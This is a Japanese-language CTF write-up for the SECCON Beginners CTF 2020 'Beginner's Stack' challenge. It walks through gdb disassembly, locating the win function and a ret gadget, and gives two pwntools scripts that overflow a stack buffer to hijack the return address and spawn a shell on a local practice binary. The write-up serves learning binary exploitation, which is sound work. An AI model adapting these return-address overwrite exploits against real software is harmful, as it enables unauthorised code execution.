SECCON Beginners CTF 2020 Beginner's Stack Writeup

本番では，Input: にwin関数のアドレス（16進数）を送れずに give up した問題。
作問者writeupを見て，「おれは絶対 pwntools 使わねー」と反発した記憶がある。
今は，OS，メモリ管理やプログラムを勉強するための「よい勉強環境」を利用するために pwntool が必須と判断してる。

# 問題の入手先

https://bitbucket.org/ptr-yudai/writeups-2020/src/master/SECCON_Beginners_CTF_2020/beginners_stack/files/

# とりあえず実行

```
$ ./stack
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff623ba720 | 0x00007fa31398cb40 | <-- buf
                   +--------------------+
0x00007fff623ba728 | 0x0000000000000000 |
                   +--------------------+
0x00007fff623ba730 | 0x0000000000000000 |
                   +--------------------+
0x00007fff623ba738 | 0x00007fa313ba7170 |
                   +--------------------+
0x00007fff623ba740 | 0x00007fff623ba750 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff623ba748 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff623ba750 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fff623ba758 | 0x00007fa3135acbf7 | <-- return address (main)
                   +--------------------+
0x00007fff623ba760 | 0x0000000000000001 |
                   +--------------------+
0x00007fff623ba768 | 0x00007fff623ba838 |
                   +--------------------+

Input: 
```

win関数を呼べばshellがとれるみたい

メイン関数

```
gdb-peda$ pdisass 
Dump of assembler code for function main:
   0x00000000004007f1 <+0>:	push   rbp
   0x00000000004007f2 <+1>:	mov    rbp,rsp
=> 0x00000000004007f5 <+4>:	mov    rax,QWORD PTR [rip+0x201894]        # 0x602090 <stdin@@GLIBC_2.2.5>
   0x00000000004007fc <+11>:	mov    esi,0x0
   0x0000000000400801 <+16>:	mov    rdi,rax
   0x0000000000400804 <+19>:	call   0x400660 <setbuf@plt>
   0x0000000000400809 <+24>:	mov    rax,QWORD PTR [rip+0x201870]        # 0x602080 <stdout@@GLIBC_2.2.5>
   0x0000000000400810 <+31>:	mov    esi,0x0
   0x0000000000400815 <+36>:	mov    rdi,rax
   0x0000000000400818 <+39>:	call   0x400660 <setbuf@plt>
   0x000000000040081d <+44>:	mov    rax,QWORD PTR [rip+0x20187c]        # 0x6020a0 <stderr@@GLIBC_2.2.5>
   0x0000000000400824 <+51>:	mov    esi,0x0
   0x0000000000400829 <+56>:	mov    rdi,rax
   0x000000000040082c <+59>:	call   0x400660 <setbuf@plt>
   0x0000000000400831 <+64>:	lea    rsi,[rip+0x29]        # 0x400861 <win>
   0x0000000000400838 <+71>:	lea    rdi,[rip+0x321]        # 0x400b60
   0x000000000040083f <+78>:	mov    eax,0x0
   0x0000000000400844 <+83>:	call   0x400680 <printf@plt>
   0x0000000000400849 <+88>:	call   0x4007a7 <vuln>
   0x000000000040084e <+93>:	lea    rdi,[rip+0x340]        # 0x400b95
   0x0000000000400855 <+100>:	call   0x400650 <puts@plt>
   0x000000000040085a <+105>:	mov    eax,0x0
   0x000000000040085f <+110>:	pop    rbp
   0x0000000000400860 <+111>:	ret    
End of assembler dump.

```

vuln関数の戻りアドレスは，0x40084e

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/a847f1fc-c9e6-ea60-c24a-efa691afec50.png)

”A” * 8 * 5 必要

```
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x400861 <win>
```
win関数のアドレスは 0x400861


```
$ objdump -d -M intel | less
/ c3
  400626:       c3 
```

ret の ROP は 0x400626

```python:ctf4b_stack.py
# coding: UTF-8

import pwn
from pwn import *

#io = pwn.remote("bs.quals.beginners.seccon.jp", 9001)
io = pwn.process("./stack")

# leak
io.recvuntil("located at 0x")
win_addr = int(io.recvline()[:6], 16)
log.info("win = %s" % hex(win_addr))

ret = io.readuntil("Input: ")
print(ret)

ret_addr = 0x400626

s = b"A" * 8 * 5
s += pwn.p64(ret_addr) # アライメント RSPは0x10で割り切れる
s += pwn.p64(win_addr)

print(s)

io.send(s)
io.interactive()
```

別解

```python:ctf4b_stack2.py
# coding: UTF-8

import pwn
from pwn import *

#io = pwn.remote("bs.quals.beginners.seccon.jp", 9001)
io = pwn.process("./stack")

# leak
io.recvuntil("located at 0x")
win_addr = int(io.recvline()[:6], 16)
log.info("win = %s" % hex(win_addr))

ret = io.readuntil("Input: ")
print(ret)

s = b"A" * 8 * 5
s += pwn.p64(win_addr+1) # +1 は，win関数の先頭は push rbp ではないかという勘

print(s)

io.send(s)
io.interactive()
```